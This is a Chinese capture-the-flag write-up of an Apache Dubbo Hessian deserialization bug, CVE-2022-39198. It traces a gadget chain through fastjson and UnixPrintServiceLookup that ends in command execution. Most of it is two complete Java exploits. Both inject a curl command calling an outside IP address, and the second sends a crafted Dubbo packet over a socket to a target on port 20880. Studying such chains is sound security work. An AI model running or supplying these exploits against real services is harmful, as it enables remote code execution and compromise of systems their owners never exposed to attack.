i春秋冬季杯dubboapp dubbo历史漏洞 从CVE-2022-39198到春秋杯冬季赛Dubboapp
这题主要是考察CVE-2022-39198+不出网利用
NCTF2022 思路比较统一,hessian反序列化中以equals作为起点,通过com.sun.org.apache.xpath.internal.objects.Xstring的equals触发任意类的toString。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 getDefaultPrinterNameBSD:750 , UnixPrintServiceLookup (sun .print ) getDefaultPrintService:663 , UnixPrintServiceLookup (sun .print )write :-1 , ASMSerializer_1_UnixPrintServiceLookup (com .alibaba.fastjson.serializer)write :271 , MapSerializer (com .alibaba.fastjson.serializer)write :44 , MapSerializer (com .alibaba.fastjson.serializer)write :312 , JSONSerializer (com .alibaba.fastjson.serializer) toJSONString:1077 , JSON (com .alibaba.fastjson) toString:1071 , JSON (com .alibaba.fastjson) equals:391 , XString (com .sun .org.apache.xpath.internal.objects) equals:495 , AbstractMap (java.util) putVal:635 , HashMap (java.util)pu t:612 , HashMap (java.util) doReadMap:145 , MapDeserializer (com .alibaba.com .caucho.hessian.io) readMap:126 , MapDeserializer (com .alibaba.com .caucho.hessian.io) readObject:2733 , Hessian2Input (com .alibaba.com .caucho.hessian.io) readObject:2308 , Hessian2Input (com .alibaba.com .caucho.hessian.io) main:85 , Test
前面的调用流程都比较熟悉。
后面就是UnixPrintServiceLookup
的调用流程
我们需要进入这个if去触发红框中的方法,在jdk中这里的这些类都是和打印机相关的一些服务,这里这个if会判断打印服务有没有启动,启动了就直接执行连接,没有就会调用下面的逻辑去启动服务,才会有我们注入命令的可能。 可以看到如果连接成功就会返回true。经过我的测试,在mac,ubuntu中我们这种自用的电脑都大概率存在这个服务。会出现无法rce的情况,而服务器类特别是docker,不存在这样的服务所以就可以打通。
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import com.alibaba.com.caucho.hessian.io.Hessian2Input;import com.alibaba.com.caucho.hessian.io.Hessian2Output;import com.alibaba.com.caucho.hessian.io.SerializerFactory;import com.alibaba.fastjson.JSONObject;import com.sun.org.apache.xpath.internal.objects.XString;import org.apache.dubbo.common.io.Bytes;import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;import sun.misc.Unsafe;import sun.print.UnixPrintServiceLookup;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.OutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.Socket;import java.util.AbstractMap;import java.util.Base64;import java.util.HashMap;import java.util.Random;public class Test { public static void setFieldValue (Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = obj.getClass().getDeclaredField(filedName); declaredField.setAccessible(true ); declaredField.set(obj, value); } public static void main (String[] args) { try { String cmd = "curl http://39.107.239.30:7777" ; Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe" ); theUnsafe.setAccessible(true ); Unsafe unsafe = (Unsafe) theUnsafe.get(null ); Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class); setFieldValue(unixPrintServiceLookup, "cmdIndex" , 0 ); setFieldValue(unixPrintServiceLookup, "osname" , "xx" ); setFieldValue(unixPrintServiceLookup, "lpcFirstCom" , new String[]{cmd, cmd, cmd}); JSONObject jsonObject = new JSONObject(); jsonObject.put("xx" , unixPrintServiceLookup); XString xString = new XString("xx" ); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy" ,jsonObject); map1.put("zZ" ,xString); map2.put("yy" ,xString); map2.put("zZ" ,jsonObject); HashMap s = new HashMap(); setFieldValue(s, "size" , 2 ); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , map1, map1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , map2, map2, null )); setFieldValue(s, "table" , tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream); hessianOutput.setSerializerFactory(new SerializerFactory()); hessianOutput.getSerializerFactory().setAllowNonSerializable(true ); hessianOutput.writeObject(s); hessianOutput.flushBuffer(); byte [] code = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(code); System.out.println(payload); ByteArrayInputStream ins = new ByteArrayInputStream(code); Hessian2Input input = new Hessian2Input(ins); input.readObject(); }catch (Exception e) { e.printStackTrace(); } } }
dubboapp 在DecodeableRpcInvocation.decode() (org.apache.dubbo.rpc.protocol.dubbo)
打断点。
首先需要经过checkSerialization
检查。如果该方法中当根据指定的serviceKey无法获得服务提供者暴露服务的对象就会报错。结合CVE-2020-1948相关的绕过信息,解决这个问题得相关代码如下。
out.writeUTF("xxxxx" ); out.writeUTF("org.apache.dubbo.registry.RegistryService" ); out.writeUTF("0.0.0" ); out.writeUTF("$echo" ); out.writeUTF("Ljava/lang/Object;" ); out.writeObject(jo); HashMap hkhash = new HashMap(); hkhash.put("aaa" ,"bbb" );
后面会走到
然后在decode()
函数种会进入到报错,在拼接过程中将org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation
类对象当成字符串
if (exporter == null ) { throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + getInvocationWithoutData(inv)); }
最终在DecodeableRpcInvocation
类得toStrin
函数中触发JSONObject
得tostring函数
后续得调用过程就比较类似了,大致如下。
org.apache .dubbo .rpc .protocol .dubbo .DecodeableRpcInvocation#dec ode org.apache .dubbo .rpc .protocol .dubbo .DubboProtocol#getInvoker org.apache .dubbo .rpc .RpcInvocation#toString com.alibaba .fastjson .JSON#toString sun.print .UnixPrintServiceLookup#getDefaultPrintService ... Runtime.getRuntime ().exec ()
不过当时得题目中还有不出网,这部分看看网上wp没环境了。exp直接拿的作者的小改了一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 package com.company;import com.alibaba.com.caucho.hessian.io.Hessian2Output;import com.alibaba.com.caucho.hessian.io.SerializerFactory;import com.alibaba.fastjson.JSONObject;import org.apache.dubbo.common.io.Bytes;import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;import org.apache.dubbo.common.serialize.hessian2.Hessian2SerializerFactory;import sun.misc.Unsafe;import sun.print.UnixPrintServiceLookup;import java.io.ByteArrayOutputStream;import java.io.OutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.Socket;import java.util.HashMap;import java.util.Random;import static org.apache.dubbo.common.utils.FieldUtils.setFieldValue;public class Exploit3 { public static void main (String[] args) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byte [] header = new byte [16 ]; Bytes.short2bytes((short ) 0xdabb , header); header[2 ] = (byte ) ((byte ) 0x80 | 2 ); Bytes.long2bytes(new Random().nextInt(100000000 ), header, 4 ); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe" ); theUnsafe.setAccessible(true ); Unsafe unsafe = (Unsafe) theUnsafe.get(null ); Object unix = unsafe.allocateInstance(UnixPrintServiceLookup.class); setFieldValue(unix, "osname" ,"hack" ); String cmds = "curl http://39.107.239.30:7777" ; setFieldValue(unix, "lpcFirstCom" ,new String[]{cmds,cmds,cmds}); JSONObject jo = new JSONObject(); jo.put("oops" ,unix); Field field = out.getClass().getDeclaredField("mH2o" ); field.setAccessible(true ); Hessian2Output hessian2Output = (Hessian2Output)field.get(out); hessian2Output.setSerializerFactory(new SerializerFactory()); hessian2Output.getSerializerFactory().setAllowNonSerializable(true ); out.writeUTF("xxxxx" ); out.writeUTF("org.apache.dubbo.registry.RegistryService" ); out.writeUTF("0.0.0" ); out.writeUTF("$echo" ); out.writeUTF("Ljava/lang/Object;" ); out.writeObject(jo); HashMap hkhash = new HashMap(); hkhash.put("aaa" ,"bbb" ); out.writeObject(hkhash); out.flushBuffer(); Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12 ); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte [] bytes = byteArrayOutputStream.toByteArray(); Socket socket = new Socket("192.168.101.12" , 20880 ); OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush(); outputStream.close(); } }